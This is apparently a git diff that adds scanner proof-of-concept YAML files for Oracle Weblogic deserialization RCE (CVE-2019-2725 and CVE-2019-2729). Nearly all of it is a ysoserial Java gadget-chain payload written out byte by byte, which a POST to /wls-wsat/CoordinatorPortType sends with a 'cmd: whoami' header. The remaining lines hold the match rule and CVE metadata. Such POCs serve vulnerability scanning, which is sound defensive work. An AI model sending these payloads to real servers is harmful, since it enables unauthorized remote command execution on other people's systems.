+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 27
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 21
+
+
+ 7
+
+
+ 0
+
+
+ 23
+
+
+ 7
+
+
+ 0
+
+
+ 24
+
+
+ 7
+
+
+ 0
+
+
+ 25
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ 113
+
+
+ -26
+
+
+ 105
+
+
+ -18
+
+
+ 60
+
+
+ 109
+
+
+ 71
+
+
+ 24
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 26
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 79
+
+
+ 98
+
+
+ 106
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 60
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 18
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 112
+
+
+ 116
+
+
+ 0
+
+
+ 4
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 114
+
+
+ 112
+
+
+ 119
+
+
+ 1
+
+
+ 0
+
+
+ 120
+
+
+ 115
+
+
+ 125
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 120
+
+
+ 121
+
+
+ -31
+
+
+ 39
+
+
+ -38
+
+
+ 32
+
+
+ -52
+
+
+ 16
+
+
+ 67
+
+
+ -53
+
+
+ 2
+
+
+ 0
+
+
+ 1
+
+
+ 76
+
+
+ 0
+
+
+ 1
+
+
+ 104
+
+
+ 116
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 50
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 97
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 65
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 85
+
+
+ -54
+
+
+ -11
+
+
+ 15
+
+
+ 21
+
+
+ -53
+
+
+ 126
+
+
+ -91
+
+
+ 2
+
+
+ 0
+
+
+ 2
+
+
+ 76
+
+
+ 0
+
+
+ 12
+
+
+ 109
+
+
+ 101
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 121
+
+
+ 112
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 17
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 5
+
+
+ 7
+
+
+ -38
+
+
+ -63
+
+
+ -61
+
+
+ 22
+
+
+ 96
+
+
+ -47
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 70
+
+
+ 0
+
+
+ 10
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 70
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 111
+
+
+ 108
+
+
+ 100
+
+
+ 120
+
+
+ 112
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 119
+
+
+ 8
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 116
+
+
+ 0
+
+
+ 8
+
+
+ 102
+
+
+ 53
+
+
+ 97
+
+
+ 53
+
+
+ 97
+
+
+ 54
+
+
+ 48
+
+
+ 56
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 9
+
+
+ 120
+
+
+ 118
+
+
+ 114
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 120
+
+
+
+
+
+
+
+
+ follow_redirects: false
+ expression: 'response.status == 200 && response.body.bcontains(b"whoami :")'
+
+detail:
+ vulnpath: "/wls-wsat/CoordinatorPortType"
+ author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
+ description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData"
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
+ - https://github.com/QAX-A-Team/WeblogicEnvironment
+ - https://xz.aliyun.com/t/5299
diff --git a/webscan/pocs/weblogic-cve-2019-2729-1.yml b/webscan/pocs/weblogic-cve-2019-2729-1.yml
new file mode 100644
index 0000000..919ee57
--- /dev/null
+++ b/webscan/pocs/weblogic-cve-2019-2729-1.yml
@@ -0,0 +1,15065 @@
+name: poc-yaml-weblogic-cve-2019-2729-1
+rules:
+ - method: POST
+ path: /wls-wsat/CoordinatorPortType
+ headers:
+ Content-Type: text/xml
+ cmd: whoami
+ body: |-
+
+
+
+ xx
+ xx
+
+
+
+ oracle.toplink.internal.sessions.UnitOfWorkChangeSet
+
+
+
+ -84
+
+
+ -19
+
+
+ 0
+
+
+ 5
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 107
+
+
+ 101
+
+
+ 100
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -40
+
+
+ 108
+
+
+ -41
+
+
+ 90
+
+
+ -107
+
+
+ -35
+
+
+ 42
+
+
+ 30
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -70
+
+
+ 68
+
+
+ -123
+
+
+ -107
+
+
+ -106
+
+
+ -72
+
+
+ -73
+
+
+ 52
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 119
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 58
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 46
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 46
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 46
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 46
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 9
+
+
+ 87
+
+
+ 79
+
+
+ -63
+
+
+ 110
+
+
+ -84
+
+
+ -85
+
+
+ 51
+
+
+ 3
+
+
+ 0
+
+
+ 9
+
+
+ 73
+
+
+ 0
+
+
+ 13
+
+
+ 95
+
+
+ 105
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 14
+
+
+ 95
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 120
+
+
+ 90
+
+
+ 0
+
+
+ 21
+
+
+ 95
+
+
+ 117
+
+
+ 115
+
+
+ 101
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 105
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 77
+
+
+ 101
+
+
+ 99
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 105
+
+
+ 115
+
+
+ 109
+
+
+ 76
+
+
+ 0
+
+
+ 25
+
+
+ 95
+
+
+ 97
+
+
+ 99
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 69
+
+
+ 120
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 83
+
+
+ 116
+
+
+ 121
+
+
+ 108
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 101
+
+
+ 101
+
+
+ 116
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 11
+
+
+ 95
+
+
+ 97
+
+
+ 117
+
+
+ 120
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 116
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 59
+
+
+ 91
+
+
+ 0
+
+
+ 10
+
+
+ 95
+
+
+ 98
+
+
+ 121
+
+
+ 116
+
+
+ 101
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 91
+
+
+ 0
+
+
+ 6
+
+
+ 95
+
+
+ 99
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 91
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 5
+
+
+ 95
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 4
+
+
+ 76
+
+
+ 0
+
+
+ 17
+
+
+ 95
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 22
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ 0
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 97
+
+
+ 108
+
+
+ 108
+
+
+ 112
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 75
+
+
+ -3
+
+
+ 25
+
+
+ 21
+
+
+ 103
+
+
+ 103
+
+
+ -37
+
+
+ 55
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 2
+
+
+ 91
+
+
+ 66
+
+
+ -84
+
+
+ -13
+
+
+ 23
+
+
+ -8
+
+
+ 6
+
+
+ 8
+
+
+ 84
+
+
+ -32
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 14
+
+
+ 29
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ -70
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 34
+
+
+ 7
+
+
+ 0
+
+
+ -72
+
+
+ 7
+
+
+ 0
+
+
+ 37
+
+
+ 7
+
+
+ 0
+
+
+ 38
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ -83
+
+
+ 32
+
+
+ -109
+
+
+ -13
+
+
+ -111
+
+
+ -35
+
+
+ -17
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
